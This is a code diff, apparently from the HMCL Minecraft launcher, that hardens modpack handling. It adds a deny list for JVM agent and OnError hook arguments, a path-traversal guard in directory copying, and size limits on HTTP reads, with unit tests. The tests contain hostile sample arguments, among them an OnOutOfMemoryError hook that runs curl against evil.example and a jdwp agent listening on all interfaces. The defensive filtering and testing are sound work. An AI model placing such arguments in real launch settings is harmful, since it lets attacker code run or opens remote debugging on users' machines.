 import kala.compress.archivers.zip.ZipArchiveReader;
 import org.jackhuang.hmcl.download.DefaultDependencyManager;
 import org.jackhuang.hmcl.game.DefaultGameInstance;
+import org.jackhuang.hmcl.game.LaunchOptions;
 import org.jackhuang.hmcl.modpack.MismatchedModpackTypeException;
 import org.jackhuang.hmcl.modpack.Modpack;
 import org.jackhuang.hmcl.modpack.ModpackProvider;
@@ -29,7 +30,8 @@ public final class ServerModpackProvider implements ModpackProvider {
 
     @Override
     public Task<?> createCompletionTask(DefaultDependencyManager dependencyManager, DefaultGameInstance instance) {
-        return new ServerModpackCompletionTask(dependencyManager, instance);
+        return new ServerModpackCompletionTask(dependencyManager, instance)
+                .thenComposeAsync(ignored -> Lwjgl3ifyApplyTask.afterCompletion(dependencyManager, instance));
     }
 
     @Override
@@ -51,4 +53,12 @@ public final class ServerModpackProvider implements ModpackProvider {
         ServerModpackManifest manifest = JsonUtils.fromNonNullJson(json, ServerModpackManifest.class);
         return manifest.toModpack();
     }
+
+    @Override
+    public void injectLaunchOptions(String modpackConfigurationJson, LaunchOptions.Builder builder) {
+        Path gameDir = builder.getGameDir();
+        if (gameDir != null) {
+            Lwjgl3ifySupport.injectLaunchOptions(gameDir, builder);
+        }
+    }
 }

HMCLCore/src/main/java/org/jackhuang/hmcl/modpack/server/ServerModpackRemoteInstallTask.java

@@ -126,10 +126,12 @@ public class ServerModpackRemoteInstallTask extends Task<Void> {
 
     @Override
     public void execute() throws Exception {
+        DefaultGameInstance instance = repository.getInstance(instanceId);
         dependencies.add(new ServerModpackCompletionTask(
                 dependency,
-                repository.getInstance(instanceId),
-                new ModpackConfiguration<>(manifest, MODPACK_TYPE, manifest.getName(), manifest.getVersion(), Collections.emptyList())));
+                instance,
+                new ModpackConfiguration<>(manifest, MODPACK_TYPE, manifest.getName(), manifest.getVersion(), Collections.emptyList()))
+                .thenComposeAsync(ignored -> Lwjgl3ifyApplyTask.afterCompletion(dependency, instance)));
     }
 
     public static final String MODPACK_TYPE = "Server";

HMCLCore/src/main/java/org/jackhuang/hmcl/util/JvmArgumentFilter.java

@@ -0,0 +1,57 @@
+// SPDX-FileCopyrightText: Copyright (C) 2026 The HMCL Authors
+// SPDX-License-Identifier: GPL-3.0-or-later WITH AdditionRef-HMCL
+package org.jackhuang.hmcl.util;
+
+import org.jetbrains.annotations.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Locale;
+
+import static org.jackhuang.hmcl.util.logging.Logger.LOG;
+
+/**
+ * Filters JVM arguments coming from untrusted modpack / MultiMC patch input.
+ *
+ * <p>Denies agent injection and {@code -XX:On*Error} command hooks while allowing ordinary
+ * memory / GC / system-property args used by companions such as lwjgl3ify.
+ */
+public final class JvmArgumentFilter {
+    private JvmArgumentFilter() {
+    }
+
+    /// Returns whether a single JVM argument is safe to accept from modpack / patch metadata.
+    public static boolean isAllowed(@Nullable String arg) {
+        if (arg == null) {
+            return false;
+        }
+        String trimmed = arg.trim();
+        if (trimmed.isEmpty()) {
+            return false;
+        }
+        String lower = trimmed.toLowerCase(Locale.ROOT);
+        if (lower.startsWith("-javaagent")
+                || lower.startsWith("-agentpath")
+                || lower.startsWith("-agentlib")
+                || lower.startsWith("-xbootclasspath")
+                || lower.startsWith("-xx:onoutofmemoryerror")
+                || lower.startsWith("-xx:onerror")
+                || lower.startsWith("-xx:exitonoutofmemoryerror")) {
+            return false;
+        }
+        return true;
+    }
+
+    /// Copies {@code args}, dropping disallowed entries and logging each skip.
+    public static List<String> filter(Iterable<String> args) {
+        List<String> out = new ArrayList<>();
+        for (String arg : args) {
+            if (isAllowed(arg)) {
+                out.add(arg);
+            } else {
+                LOG.warning("Ignoring disallowed JVM argument from modpack/patch: " + arg);
+            }
+        }
+        return out;
+    }
+}

HMCLCore/src/main/java/org/jackhuang/hmcl/util/io/FileUtils.java

@@ -306,6 +306,7 @@ public final class FileUtils {
     }
 
     public static void copyDirectory(Path src, Path dest, Predicate<String> filePredicate) throws IOException {
+        Path destRoot = dest.toAbsolutePath().normalize();
         Files.walkFileTree(src, new SimpleFileVisitor<>() {
             @Override
             public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
@@ -313,7 +314,11 @@ public final class FileUtils {
                     return FileVisitResult.SKIP_SUBTREE;
                 }
 
-                Path destFile = dest.resolve(src.relativize(file).toString());
+                Path destFile = destRoot.resolve(src.relativize(file).toString()).toAbsolutePath().normalize();
+                if (!destFile.startsWith(destRoot)) {
+                    throw new IOException("Refusing to copy outside destination directory: " + file);
+                }
+                Files.createDirectories(destFile.getParent());
                 Files.copy(file, destFile, StandardCopyOption.REPLACE_EXISTING);
                 return FileVisitResult.CONTINUE;
             }
@@ -324,7 +329,10 @@ public final class FileUtils {
                     return FileVisitResult.SKIP_SUBTREE;
                 }
 
-                Path destDir = dest.resolve(src.relativize(dir).toString());
+                Path destDir = destRoot.resolve(src.relativize(dir).toString()).toAbsolutePath().normalize();
+                if (!destDir.startsWith(destRoot)) {
+                    throw new IOException("Refusing to create directory outside destination: " + dir);
+                }
                 Files.createDirectories(destDir);
                 return FileVisitResult.CONTINUE;
             }

HMCLCore/src/main/java/org/jackhuang/hmcl/util/io/HttpRequest.java

@@ -10,6 +10,7 @@ import org.jackhuang.hmcl.util.function.ExceptionalSupplier;
 import org.jackhuang.hmcl.util.gson.JsonUtils;
 
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.OutputStream;
 import java.net.HttpURLConnection;
 import java.net.MalformedURLException;
@@ -134,9 +135,10 @@ public abstract class HttpRequest {
                 con = resolveConnection(con);
                 checkResponseCode(con);
 
-                return IOUtils.readFullyAsString("gzip".equals(con.getContentEncoding())
+                InputStream body = "gzip".equals(con.getContentEncoding())
                         ? IOUtils.wrapFromGZip(con.getInputStream())
-                        : con.getInputStream());
+                        : con.getInputStream();
+                return IOUtils.readFullyAsString(body, UTF_8, IOUtils.DEFAULT_MAX_HTTP_BODY_BYTES);
             }, retryTimes);
         }
     }

HMCLCore/src/main/java/org/jackhuang/hmcl/util/io/IOUtils.java

@@ -5,7 +5,13 @@ package org.jackhuang.hmcl.util.io;
 import kala.encdet.EncodingDetector;
 import org.jetbrains.annotations.Nullable;
 
-import java.io.*;
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
 import java.nio.ByteBuffer;
 import java.nio.channels.Channels;
 import java.nio.channels.FileChannel;
@@ -29,6 +35,9 @@ public final class IOUtils {
 
     public static final int DEFAULT_BUFFER_SIZE = 32 * 1024;
 
+    /// Soft cap for HTTP / metadata bodies read into memory (authlib, API JSON, etc.).
+    public static final long DEFAULT_MAX_HTTP_BODY_BYTES = 16L * 1024L * 1024L;
+
     public static BufferedReader newBufferedReaderMaybeNativeEncoding(Path file) throws IOException {
         if (NATIVE_CHARSET == UTF_8)
             return Files.newBufferedReader(file);
@@ -68,8 +77,29 @@ public final class IOUtils {
     }
 
     public static byte[] readFully(InputStream stream) throws IOException {
+        return readFully(stream, -1L);
+    }
+
+    /// Reads the stream fully, optionally refusing bodies larger than {@code maxBytes}.
+    ///
+    /// @param maxBytes maximum accepted size, or {@code <= 0} for no limit
+    public static byte[] readFully(InputStream stream, long maxBytes) throws IOException {
         try (stream) {
-            return stream.readAllBytes();
+            if (maxBytes <= 0) {
+                return stream.readAllBytes();
+            }
+            ByteArrayOutputStream out = new ByteArrayOutputStream(Math.min(DEFAULT_BUFFER_SIZE, (int) Math.min(maxBytes, Integer.MAX_VALUE)));
+            byte[] buf = new byte[DEFAULT_BUFFER_SIZE];
+            long total = 0;
+            int n;
+            while ((n = stream.read(buf)) >= 0) {
+                total += n;
+                if (total > maxBytes) {
+                    throw new IOException("Response body exceeds limit of " + maxBytes + " bytes");
+                }
+                out.write(buf, 0, n);
+            }
+            return out.toByteArray();
         }
     }
 
@@ -81,6 +111,10 @@ public final class IOUtils {
         return new String(readFully(stream), charset);
     }
 
+    public static String readFullyAsString(InputStream stream, Charset charset, long maxBytes) throws IOException {
+        return new String(readFully(stream, maxBytes), charset);
+    }
+
     public static void skipNBytes(InputStream input, long n) throws IOException {
         while (n > 0) {
             long ns = input.skip(n);

HMCLCore/src/main/java/org/jackhuang/hmcl/util/io/NetworkUtils.java

@@ -437,13 +437,13 @@ public final class NetworkUtils {
             Charset charset = getCharsetFromContentType(con.getHeaderField("Content-Type"));
 
             try (InputStream stdout = con.getInputStream()) {
-                return IOUtils.readFullyAsString(contentEncoding.wrap(stdout), charset);
+                return IOUtils.readFullyAsString(contentEncoding.wrap(stdout), charset, IOUtils.DEFAULT_MAX_HTTP_BODY_BYTES);
             } catch (IOException e) {
                 if (con instanceof HttpURLConnection) {
                     try (InputStream stderr = ((HttpURLConnection) con).getErrorStream()) {
                         if (stderr == null)
                             throw e;
-                        return IOUtils.readFullyAsString(contentEncoding.wrap(stderr), charset);
+                        return IOUtils.readFullyAsString(contentEncoding.wrap(stderr), charset, IOUtils.DEFAULT_MAX_HTTP_BODY_BYTES);
                     }
                 } else {
                     throw e;

HMCLCore/src/test/java/org/jackhuang/hmcl/util/JvmArgumentFilterTest.java

@@ -0,0 +1,34 @@
+// SPDX-FileCopyrightText: Copyright (C) 2026 The HMCL Authors
+// SPDX-License-Identifier: GPL-3.0-or-later WITH AdditionRef-HMCL
+package org.jackhuang.hmcl.util;
+
+import org.junit.jupiter.api.Test;
+
+import java.util.List;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+public class JvmArgumentFilterTest {
+    @Test
+    public void allowsOrdinaryArgs() {
+        assertTrue(JvmArgumentFilter.isAllowed("-Xmx2G"));
+        assertTrue(JvmArgumentFilter.isAllowed("-Djava.library.path=/tmp"));
+        assertTrue(JvmArgumentFilter.isAllowed("--add-opens=java.base/java.lang=ALL-UNNAMED"));
+    }
+
+    @Test
+    public void rejectsAgentsAndOnErrorHooks() {
+        assertFalse(JvmArgumentFilter.isAllowed("-javaagent:/tmp/evil.jar"));
+        assertFalse(JvmArgumentFilter.isAllowed("-agentpath:/tmp/evil.so"));
+        assertFalse(JvmArgumentFilter.isAllowed("-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"));
+        assertFalse(JvmArgumentFilter.isAllowed("-Xbootclasspath/a:/tmp/evil.jar"));
+        assertFalse(JvmArgumentFilter.isAllowed("-XX:OnOutOfMemoryError=curl evil.example"));
+        assertFalse(JvmArgumentFilter.isAllowed("-XX:OnError=id"));
+    }
+
+    @Test
+    public void filterDropsDisallowed() {
+        assertEquals(List.of("-Xmx1G"),
+                JvmArgumentFilter.filter(List.of("-Xmx1G", "-javaagent:x.jar")));
+    }
+}

HMCLCore/src/test/java/org/jackhuang/hmcl/util/io/CopyDirectoryTraversalTest.java

@@ -0,0 +1,36 @@
+// SPDX-FileCopyrightText: Copyright (C) 2026 The HMCL Authors
+// SPDX-License-Identifier: GPL-3.0-or-later WITH AdditionRef-HMCL
+package org.jackhuang.hmcl.util.io;
+
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.io.TempDir;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+public class CopyDirectoryTraversalTest {
+    @TempDir
+    Path temp;
+
+    @Test
+    public void copiesWithinDestination() throws IOException {
+        Path src = temp.resolve("src");
+        Path dest = temp.resolve("dest");
+        Files.createDirectories(src.resolve("a"));
+        Files.writeString(src.resolve("a/b.txt"), "hi");
+        FileUtils.copyDirectory(src, dest);
+        assertEquals("hi", Files.readString(dest.resolve("a/b.txt")));
+    }
+
+    @Test
+    public void destinationRootGuardMatchesUnzipperStyle() {
+        Path destRoot = temp.resolve("dest").toAbsolutePath().normalize();
+        Path escape = destRoot.resolve("sub/../../outside.txt").toAbsolutePath().normalize();
+        assertFalse(escape.startsWith(destRoot), "normalize + startsWith must reject escapes");
+        Path inside = destRoot.resolve("sub/file.txt").toAbsolutePath().normalize();
+        assertTrue(inside.startsWith(destRoot));
+    }
+}

HMCLCore/src/test/java/org/jackhuang/hmcl/util/io/IOUtilsReadLimitTest.java

@@ -0,0 +1,26 @@
+// SPDX-FileCopyrightText: Copyright (C) 2026 The HMCL Authors
+// SPDX-License-Identifier: GPL-3.0-or-later WITH AdditionRef-HMCL
+package org.jackhuang.hmcl.util.io;
+
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+public class IOUtilsReadLimitTest {
+    @Test
+    public void rejectsOversizedBody() {
+        byte[] data = new byte[100];
+        assertThrows(IOException.class, () -> IOUtils.readFully(new ByteArrayInputStream(data), 50));
+    }
+
+    @Test
+    public void acceptsWithinLimit() throws IOException {
+        byte[] data = "hello".getBytes(StandardCharsets.UTF_8);
+        assertArrayEquals(data, IOUtils.readFully(new ByteArrayInputStream(data), 16));
+        assertEquals("hello", IOUtils.readFullyAsString(new ByteArrayInputStream(data), StandardCharsets.UTF_8, 16));
+    }
+}